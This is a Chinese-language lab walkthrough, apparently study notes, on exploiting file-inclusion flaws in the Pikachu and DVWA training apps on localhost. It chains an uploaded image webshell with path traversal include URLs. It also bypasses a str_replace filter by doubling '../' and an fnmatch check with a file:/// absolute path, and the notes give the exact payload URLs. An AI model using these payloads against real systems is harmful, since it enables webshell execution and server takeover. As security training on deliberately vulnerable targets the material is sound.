pikachu
在文件上传的get关上传一个picshell,记录一下地址:
http://127.0.0.1:8083/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
访问一下可以显示
下边利用这个图片马对文件包含进行练习。
local
//当前包含位置:
http://127.0.0.1:8083/vul/fileinclude/fi_local.php?filename=file1.php&submit=æ交查询
//图片位置:
http://127.0.0.1:8083/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
要访问图片就要对现在位置向上访问一级后对unsafe..进行访问即:
../unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
//
http://127.0.0.1:8083/vul/fileinclude/fi_local.php?filename=../unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg&submit=1
但是出现了报错,实际的访问中应该在图片的上一级还有一个include目录,所以应该对上两级目录进行访问:
http://127.0.0.1:8083/vul/fileinclude/fi_local.php?filename=…/…/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg&submit=1
成功显示:
remote
根据报错得到绝对路径:
//包含图片url
http://127.0.0.1:8083/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg
//最终payloads
file:///C:/phpstudy_pro/WWW/pikachu/vul/unsafeupload/uploads/2022/12/18/417952639edd3256d93475864188.jpg&submit=1
DVWA
同样在high模式里添加图片,在文件包含进行包含
low
图片位置:http://127.0.0.1:8082/hackable/uploads/picshell.jpg
包含位置:http://127.0.0.1:8082/vulnerabilities/fi/?page=file1.php
构造位置:http://127.0.0.1:8082/vulnerabilities/fi/?page=…/…/hackable/uploads/picshell.jpg
成功
mid
查看包含路径后发现与low位置相同,所以使用同样包含语句,但出现报错:
No such file or directory in C:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php on line 36Warning: include(hackable/uploads/picshell.jpg): failed to open stream:
通过观察报错信息可知,这个路径中缺少…/…/,查看源码后str_replace函数对…/进行替换,立即双写绕过。
成功
high
//代码中对文件名做了判断
if( !fnmatch( “file*”, $file ) && $file != “include.php” )
这里可以使用file协议进行包含,file协议利用绝对路径不需要http服务器。
获取绝对路径:
1.phpinfo信息中的document_root中包含着web的绝对路径
2.报错信息中:C:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php
拼接一下:file:///C:\phpstudy_pro\WWW\dvwa\hackable\uploads\picshell.jpg
成功利用file协议绕过file的限制。